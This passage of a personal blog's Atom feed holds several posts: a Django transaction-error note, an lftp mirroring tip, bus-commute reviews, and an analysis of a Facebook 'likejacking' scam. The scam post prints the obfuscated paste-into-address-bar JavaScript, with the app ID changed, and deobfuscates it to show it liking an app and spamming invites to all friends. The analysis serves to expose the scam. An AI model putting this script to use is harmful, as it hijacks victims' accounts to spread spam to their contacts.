/&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;in views.py:&lt;br /&gt;&lt;br /&gt;@commit_manually&lt;br /&gt;def test_view(request):&lt;br /&gt; cur = connection.cursor()&lt;br /&gt; cur.execute("insert into quux (val) values ('a')")&lt;br /&gt; tmodel = TestModel(somenum = 5)&lt;br /&gt; tmodel.save()&lt;br /&gt; assert 0&lt;br /&gt; transaction.rollback()&lt;br /&gt; return HttpResponse("id: %d" % val_id)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;in models.py:&lt;br /&gt;&lt;br /&gt;class TestModel(models.Model):&lt;br /&gt; somenum = models.IntegerField()&lt;br /&gt;&lt;br /&gt;manually-created InnoDB table:&lt;br /&gt;&lt;br /&gt;CREATE TABLE `quux` (&lt;br /&gt;`id` integer primary key AUTO_INCREMENT,&lt;br /&gt;`val` text&lt;br /&gt;) ENGINE=InnoDB;&lt;br /&gt;&lt;/pre&gt;If you view test_view, you will get a TransactionManagementError. If you move the "assert 0" above the tmodel.save(), you get an AssertionError. Raw SQL queries are fine, but you get confusing results if you use the mapper.&lt;br /&gt;&lt;br /&gt;If you comment out tmodel.save() but call transaction.set_dirty(), as you're supposed to when you modify the database with raw SQL, you get a TransactionManagementError.&lt;br /&gt;&lt;br /&gt;Lesson: if you're getting unexpected TransactionManagementErrors, make sure your code isn't throwing exceptions. Quick fix to see the underlying exception: comment out the @commit_manually decorator. You will lose transactional integrity, so don't do this on a production system.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-1876672767255127724?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/1876672767255127724/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/05/django-manual-transaction-fun.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/1876672767255127724'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/1876672767255127724'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/05/django-manual-transaction-fun.html' title='Django manual-transaction fun'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-6869615925510493823</id><published>2010-05-13T00:38:00.000-07:00</published><updated>2010-05-13T01:08:43.301-07:00</updated><title type='text'>Those darn Facebook scammers!</title><content type='html'>I've lately received a few spammish Facebook "suggestions":&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Subject: [name withheld] suggested you become a fan of *Whole Foods Market*FREE $500 Gift Card* Limited - first 1...&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Subject: [name withheld] suggested you become a fan of SEE WHO'S VIEWING YOUR PROFILE NOW!..&lt;/li&gt;&lt;li&gt;Subject: [name withheld] suggested you like How a Competition Ended a 10 Year Marriage - Video...&lt;/li&gt;&lt;li&gt;Subject: [name withheld] suggested you like PROVEN - Most Adults CANNOT solve th!s YET Almost ALL children CAN...&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;All of the [name withheld]s were people I know who'd evidently been duped in some way or other. Since the very last one was a computer scientist at a very famous Eastern university, I had to figure out how they'd done it. I defanged whatever evils lurked on the page by clearing my Facebook cookies, then Googled the "most adults" subject line to find the page. (I didn't want to click the link, in case it included some identifier that would let the evil app work even without my having logged in.)&lt;br /&gt;&lt;br /&gt;The page contained a "riddle" (formatted as an image, possibly to defeat a text-search for this scam):&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_RQWmQmpSh1E/S-uzVmnSXzI/AAAAAAAAAB4/LaCjgD3UFds/s1600/moz-screenshot.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 62px;" src="http://2.bp.blogspot.com/_RQWmQmpSh1E/S-uzVmnSXzI/AAAAAAAAAB4/LaCjgD3UFds/s400/moz-screenshot.png" alt="" id="BLOGGER_PHOTO_ID_5470663356095553330" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;...followed by a "click for solution" button that ran clever little JavaScript program. First it asked me to hold down the Control key. Any adult can do that, right? Then "C". Then it told me it had copied something to my clipboard. Clever. It must have been from a hidden selection area. Then it asked me to press and hold "Alt", then press "D" to select the address bar. Finally, it asked me to press "Control" and then "V", followed by Enter. I wasn't logged in, so this didn't do anything but bring up a "Loading..." box. This was the code snippet, prefixed with "javascript:" to make it executable in the location bar.&lt;br /&gt;&lt;br /&gt;(I have changed the app ID 120715334615757 to XYZ just to make it harder for someone to inadvertently run this code.)&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;function(){a='appXYZ_jop';b='appXYZ_jode';ifc='appXYZ_ifc';ifo='appXYZ_ifo';mw='appXYZ_mwrapper';eval(function(p,a,c,k,e,r){e=function(c){return(c&lt;a?'':e(parseint(c c="c%a)"&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{}))})();&lt;br /&gt;&lt;/a?'':e(parseint(c&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;That&lt;/i&gt; was enlightening.&lt;br /&gt;&lt;br /&gt;If you replace eval( with alert( and run this code, you'll strip off the first layer of obfuscation:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;var _0x95ea=["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79","\x73\x74\x79\x6C\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x68\x69\x64\x64\x65\x6E","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x76\x61\x6C\x75\x65","\x73\x75\x67\x67\x65\x73\x74","\x6C\x69\x6B\x65\x6D\x65","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73","\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74","\x63\x6C\x69\x63\x6B","\x69\x6E\x69\x74\x45\x76\x65\x6E\x74","\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67"];d=document;d[_0x95ea[2]](mw)[_0x95ea[1]][_0x95ea[0]]=_0x95ea[3];d[_0x95ea[2]](a)[_0x95ea[4]]=d[_0x95ea[2]](b)[_0x95ea[5]];s=d[_0x95ea[2]](_0x95ea[6]);m=d[_0x95ea[2]](_0x95ea[7]);c=d[_0x95ea[9]](_0x95ea[8]);c[_0x95ea[11]](_0x95ea[10],true,true);s[_0x95ea[12]](c);setTimeout(function(){fs[_0x95ea[13]]()},5000);setTimeout(function(){SocialGraphManager[_0x95ea[16]](_0x95ea[14],_0x95ea[15])},5000);setTimeout(function(){m[_0x95ea[12]](c);d[_0x95ea[2]](ifo)[_0x95ea[4]]=d[_0x95ea[2]](ifc)[_0x95ea[5]]},5000);&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;The \x?? junk looks like hexadecimal escapes, so let's run those through a tiny Python program to decode them:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;import re, sys&lt;br /&gt;base = r"""{insert the code here}"""&lt;br /&gt;last = 0&lt;br /&gt;for obj in re.finditer(r"\\x[0-9a-fA-F][0-9a-fA-F]", base):&lt;br /&gt;   sys.stdout.write(base[last:obj.start()])&lt;br /&gt;   #sys.stdout.write(base[obj.start():obj.end()])&lt;br /&gt;   item = chr(int(base[obj.start():obj.end()].replace("\\x",""),16))&lt;br /&gt;   sys.stdout.write(item)&lt;br /&gt;   last = obj.end()&lt;br /&gt;sys.stdout.write(base[last:])&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Off comes the second layer of obfuscation:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;var _0x95ea=["visibility","style","getElementById","hidden","innerHTML","value","suggest","likeme","MouseEvents","createEvent","click","initEvent","dispatchEvent","select_all","sgm_invite_form","/ajax/social_graph/invite_dialog.php","submitDialog"];d=document;d[_0x95ea[2]](mw)[_0x95ea[1]][_0x95ea[0]]=_0x95ea[3];d[_0x95ea[2]](a)[_0x95ea[4]]=d[_0x95ea[2]](b)[_0x95ea[5]];s=d[_0x95ea[2]](_0x95ea[6]);m=d[_0x95ea[2]](_0x95ea[7]);c=d[_0x95ea[9]](_0x95ea[8]);c[_0x95ea[11]](_0x95ea[10],true,true);s[_0x95ea[12]](c);setTimeout(function(){fs[_0x95ea[13]]()},5000);setTimeout(function(){SocialGraphManager[_0x95ea[16]](_0x95ea[14],_0x95ea[15])},5000);setTimeout(function(){m[_0x95ea[12]](c);d[_0x95ea[2]](ifo)[_0x95ea[4]]=d[_0x95ea[2]](ifc)[_0x95ea[5]]},5000);&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Now, if we run this through a &lt;a href="http://jsbeautifier.org/"&gt;JavaScript beautifier&lt;/a&gt;, we can strip off one more layer. This beautifier appears to have partially evaluated the code, kindly substituting references to the array _0x95ea with the corresponding values:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;d = document;&lt;br /&gt;d['getElementById'](mw)['style']['visibility'] = 'hidden';&lt;br /&gt;d['getElementById'](a)['innerHTML'] = d['getElementById'](b)['value'];&lt;br /&gt;s = d['getElementById']('suggest');&lt;br /&gt;m = d['getElementById']('likeme');&lt;br /&gt;c = d['createEvent']('MouseEvents');&lt;br /&gt;c['initEvent']('click', true, true);&lt;br /&gt;s['dispatchEvent'](c);&lt;br /&gt;setTimeout(function () {&lt;br /&gt;   fs['select_all']()&lt;br /&gt;}, 5000);&lt;br /&gt;setTimeout(function () {&lt;br /&gt;   SocialGraphManager['submitDialog']('sgm_invite_form', '/ajax/social_graph/invite_dialog.php')&lt;br /&gt;}, 5000);&lt;br /&gt;setTimeout(function () {&lt;br /&gt;   m['dispatchEvent'](c);&lt;br /&gt;   d['getElementById'](ifo)['innerHTML'] = d['getElementById'](ifc)['value']&lt;br /&gt;}, 5000);&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;I'm not going to do a complete trace, but it's pretty clear from the above that the code is telling Facebook to "like" an application, waiting five seconds, then submitting a the form that sends the "like" suggestion to all of your friends. Ouch.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-6869615925510493823?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/6869615925510493823/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/05/those-darn-facebook-scammers.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/6869615925510493823'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/6869615925510493823'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/05/those-darn-facebook-scammers.html' title='Those darn Facebook scammers!'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_RQWmQmpSh1E/S-uzVmnSXzI/AAAAAAAAAB4/LaCjgD3UFds/s72-c/moz-screenshot.png' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-6054467519134789134</id><published>2010-03-30T15:57:00.000-07:00</published><updated>2010-03-30T16:00:25.237-07:00</updated><title type='text'>Reverse mirroring with lftp</title><content type='html'>&lt;span style="font-family: courier new;"&gt;$ lftp -u username,password -e "mirror --reverse -x .*tif  --only-newer --verbose /home/me/path/somewhere ." example.org&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I'm using a hosting account that supports ftp but not rsync. Fortunately, lftp provides rsync-like capability: reverse mirroring. The above command will copy the local directory  /home/me/path/somewhere to the remote directory . (wherever you land when you first log in) on example.org, excluding files that end in "tif", only copying newer files.&lt;br /&gt;&lt;br /&gt;Joe&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-6054467519134789134?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/6054467519134789134/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/03/reverse-mirroring-with-lftp.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/6054467519134789134'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/6054467519134789134'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/03/reverse-mirroring-with-lftp.html' title='Reverse mirroring with lftp'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-6313172092738999421</id><published>2010-03-17T14:18:00.000-07:00</published><updated>2010-03-17T14:23:38.221-07:00</updated><title type='text'>The Boston-New York City Commute, part II</title><content type='html'>Now that Megabus has returned to South Station, it's a viable option for my NYC-Boston commute. I tried it again last night for the first time in some years. Thoughts:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;WIN:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;MB has a 1:30 a.m. departure. The only other company that runs this late is Greyhound.  Unlike Greyhound, this bus arrives just as the T starts running, makes no stops (many late-night Greyhound services stop in Worcester), and doesn't involve waiting in the basement of the Port Authority Bus Terminal. (Embarking outdoors at 31st and 8th might be unpleasant in the rain, though.)&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;The double-decker coaches are great. As comfortable as Bolt Bus but with cruelty-free seats, lots of legroom, 110v outlets, and very fast WiFi.&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;FAIL: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The WiFi network blocks ssh (port 22). WHY? I could still ssh from my phone, but I couldn't do real work that way. Who blocks 22 in this day and age?&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;EPIC FAIL:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The megabus website is a disaster on mobile phones. I tried to buy a ticket from a Droid. I was redirected to the "mobile" website, which contained nothing but a warning that the mobile website wasn't ready yet and a link to the regular website. That's fine; the Android browser can handle anything. I clicked the regular-website link and navigated to the "select a bus" screen, but every time I clicked a departure time, I was immediately redirected back to the useless "mobile" website. I suspect the "don't send me to the mobile site" was a request parameter rather than a cookie, someone forgot to add it to whatever request was silently triggered when I clicked a departure time.&lt;br /&gt;&lt;br /&gt;I tried calling the booking number. Fortunately, they had someone on duty, fortunately, she even could pass me to a customer service agent. Unfortunately, the customer service agent couldn't help me. (Understandably -- this was 11pm.) [I could have booked the ticket over the phone, but paying the service fee when I had a perfectly working browser seemed silly.]&lt;br /&gt;&lt;br /&gt;Eventually, I found &lt;a href="http://www.kolbysoft.com/"&gt;steel&lt;/a&gt;, an alternative browser interface for Android. Steel lets you spoof your User-Agent header and pretend to be a desktop computer. Went back to the site -- huzzah! No more mobile-site redirects.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Summary:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Great departure-time selection, nice amenities, inexplicably restricted network, dreadful mobile-phone user experience. And very fast. We left at 1:30 and arrived at 5:16. The T came at 5:30, so I was back before sunrise.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-6313172092738999421?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/6313172092738999421/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/03/boston-new-york-city-commute-part-ii.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/6313172092738999421'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/6313172092738999421'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/03/boston-new-york-city-commute-part-ii.html' title='The Boston-New York City Commute, part II'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-3680219121143719324</id><published>2010-03-08T14:09:00.000-08:00</published><updated>2010-03-17T14:26:25.642-07:00</updated><title type='text'>The Boston-New York City Commute</title><content type='html'>usAn old college buddy asked on Facebook:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Going up to Boston from NYC: Megabus, Bolt Bus, or rickety Chinatown bus? What say you, oh Facebook friends?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I've made this commute about two or three times a month, more or less every month since Sept. 2007, so I had a few comments.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Buses:&lt;/span&gt;&lt;br /&gt;(All buses stop at South Station in Boston, unless otherwise noted.)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;Bolt Bus &lt;/span&gt;&lt;/span&gt;is the best all-around option. The Prevost X3-45 coaches have lots of legroom, nice seats (some even have seatbelts), WiFi, and power outlets. A ticket on a less-than-full bus is $15.50 with all fees included. As a given bus sells out, the price gets closer to $20. BB leaves from 34th and 8th, right by Penn Station. Disadvantages: BB sells out quickly on Fridays. You can often buy a seat as a standby for $20 in cash, but even this is tricky at peak hours on Fridays -- there are lots of other standby passengers. The midtown departure can be slow on Monday mornings -- sometimes, the driver will go through NJ to avoid driving north through Manhattan. (Today, I left at 7:30 and arrived around 12:07&lt;span&gt;.) Get an account: you get a free ride after every eight tickets, and you're automatically placed in the first boarding group when you sign in, so you get first pick of the sea&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;I haven't taken &lt;span style="font-weight: bold;"&gt;Megabus&lt;/span&gt; since they moved to Back Bay station, but I understand they've switched back to South Station as of March 1, 2010. They now operate double-decker coaches which I haven't taken. Their single-decker coaches had WiFi (which sometimes worked), but no power outlets. Their NYC stop was also right by Penn Station. &lt;span style="font-weight: bold; font-style: italic;"&gt;Update&lt;/span&gt;: they're back at South Station. Impressions &lt;a href="http://jbarillari.blogspot.com/2010/03/boston-new-york-city-commute-part-ii.html"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Fung Wah Bus&lt;/span&gt; and &lt;span style="font-weight: bold;"&gt;Lucky Star Bus&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/span&gt; are "Chinatown" bus lines, so named because their NYC stops are in Chinatown. FW and LS rarely sell out and have gate agents at both ends of the route, so you can buy tickets minutes before departure. Tickets are $15, except for a $25 2:30 a.m. departure. LS advertises WiFi but I've never managed to get it to work. (My Debian setup may be a complicating factor; for some reason, LS uses encrypted WiFi.) LS has a slightly shorter route from the Williamsburg Bridge to the stop in NYC, otherwise, the two are very similar. The NYC stops are a short walk from the B/D and a longer walk up Canal St. from the 6. The seat pitch on the FW/LS buses is &lt;span style="font-style: italic;"&gt;much&lt;/span&gt; smaller than on the Bolt Bus, so it's harder to work with a laptop.&lt;br /&gt;&lt;br /&gt;Chinatown buses have a reputation for cutting corners on maintenance, safety, and driver training; I've heard horror stories. On the plus side, they tend to be a bit faster than the other lines, and I've also heard that they've cleaned up their act. I haven't had a problem, yet.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Greyhound&lt;/span&gt; also runs the Prevost X3-45 on the Boston-New York route, so passengers have WiFi and outlets. Greyhound's prices are slightly higher (especially if you don't buy tickets from their website). Their Manhattan destination is the Port Authority Bus Terminal, which is very grim. On the plus side, they're the only operator with buses from Manhattan in the wee hours of the morning. Make sure you pick a route with no stops (or at most one stop); you certainly do not want the eight-hour multi-stop tour of Connecticut.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;General observations:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;If you're lucky, the driver won't waste 10-20 minutes stopping at a rest area. Very late and very early buses are less likely to stop. Keep in mind that all buses have bathrooms, so the stop is primarily for people who can't go for four hours without eating.&lt;br /&gt;&lt;br /&gt;Leaving at unpopular hours makes the trip much more pleasant. Not only will you avoid traffic, but you're more likely to have an empty seat next to you. (This is particularly important on the Chinatown buses, where the seats are tiny.)&lt;br /&gt;&lt;br /&gt;Bus WiFi can be unreliable; a tethering card or a smartphone with tethering capability lets you skip the "will the WiFi work?" lottery. I've had good connectivity through Verizon Wireless for the whole route.&lt;br /&gt;&lt;br /&gt;South Station has a parking deck on the roof; the first 15 minutes are free. If you're &lt;span style="font-style: italic;"&gt;really&lt;/span&gt; cheap, you could idle outside the gate until whomever you're picking up gets there...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;LimoLiner&lt;span style="font-style: italic;"&gt;. &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;Premium bus service. I've seen advertisements in South Station but never tried them.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Non-bus options:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Amtrak&lt;/span&gt;. Amtrak has two services: the Northeast Regional (about 4 to 4.5 hours) and the Acela Express (about 3.5 hours). Prices range from $50 and up for the Regional and about $90 and up for the Acela; prices rise considerably as the trains sell out. I used to take the Regional frequently; I've never taken the Acela. The primary advantages are nicer seats, a quieter ride, outlets, and tray tables. The train also has a snack bar. Acela, I've heard, has finally begun to roll out WiFi.&lt;br /&gt;&lt;br /&gt;The only major reason to take the Regional is to avoid traffic, otherwise, the Bolt Bus makes the exact same trip, in about the same amount of time at off-peak hours. BB's seats are smaller and lacks tray-tables, but has WiFi and more frequent departures. An off-peak Chinatown bus is often &lt;span style="font-style: italic;"&gt;faster&lt;/span&gt; than the regional. If you're heading to the northern Bronx, you can shave a fair bit of time off your trip by getting off the Regional at New Rochelle (note that only some trains stop there) and taking a taxi, instead of going all the way to Penn Station and back out again.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Flying&lt;/span&gt;. I haven't flown BOS-NYC, but L. has taken a few flights. Delta seems to be the cheapest for last-minute fares, based on a very small sample size. The flight is fast but the TSA delay and the difficulty of getting from New York's airports into Manhattan will slow you down. LGA has no subway stop (Robert Caro blamed this on Robert Moses); you can take the (slow) M60 bus, which meets the N/W in Queens and the 2/3 and the 4/5/6 and the A/B/C/D at 125th St. in Manhattan.&lt;br /&gt;&lt;br /&gt;At JFK, you can take the AirTrain for $5 to the A train or to the LIRR (a CityTicket may save you a few dollars) into Penn Station. There is a flat $45 cab fare from JFK to anywhere in Manhattan.&lt;br /&gt;&lt;br /&gt;New York Airports Service, a private shuttle, runs from LGA to Penn Station; I've taken it several times, although not lately. You can also fly to Newark, where the AirTrain will take you to NJ Transit to Penn Station. You can also take a local bus from EWR to the PATH into Manhattan. (I haven't tried this.) Wikitravel has a more detailed rundown of how to get into NYC from its airports.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Driving&lt;/span&gt;. Pluses: you can go door-to-door. You can take FDR Drive and skip all the lights in Manhattan. Minuses: you can't work, have to stay awake (assuming that you're driving yourself), and have to find a place to park. I've only tried this once.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Conclusions&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;Take BoltBus, unless you are leaving very late when BB doesn't run, leaving at peak hours and could not get an advance ticket, or have an origin/destination in the Lower East Side and would like to avoid going through midtown. Take the Greyhound if you have to leave really late or want a nicer ride when Bolt Bus is sold out. Take the Chinatown bus if you need to make a last-minute trip. Take the Regional if you want to avoid traffic, take the Acela if you want to go a bit faster. Fly if you need to minimize travel time and don't mind the price and the 90 minutes or so when you have to be offline&lt;span style="font-weight: bold;"&gt;.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-3680219121143719324?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/3680219121143719324/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/03/boston-new-york-city-commute.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/3680219121143719324'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/3680219121143719324'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/03/boston-new-york-city-commute.html' title='The Boston-New York City Commute'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 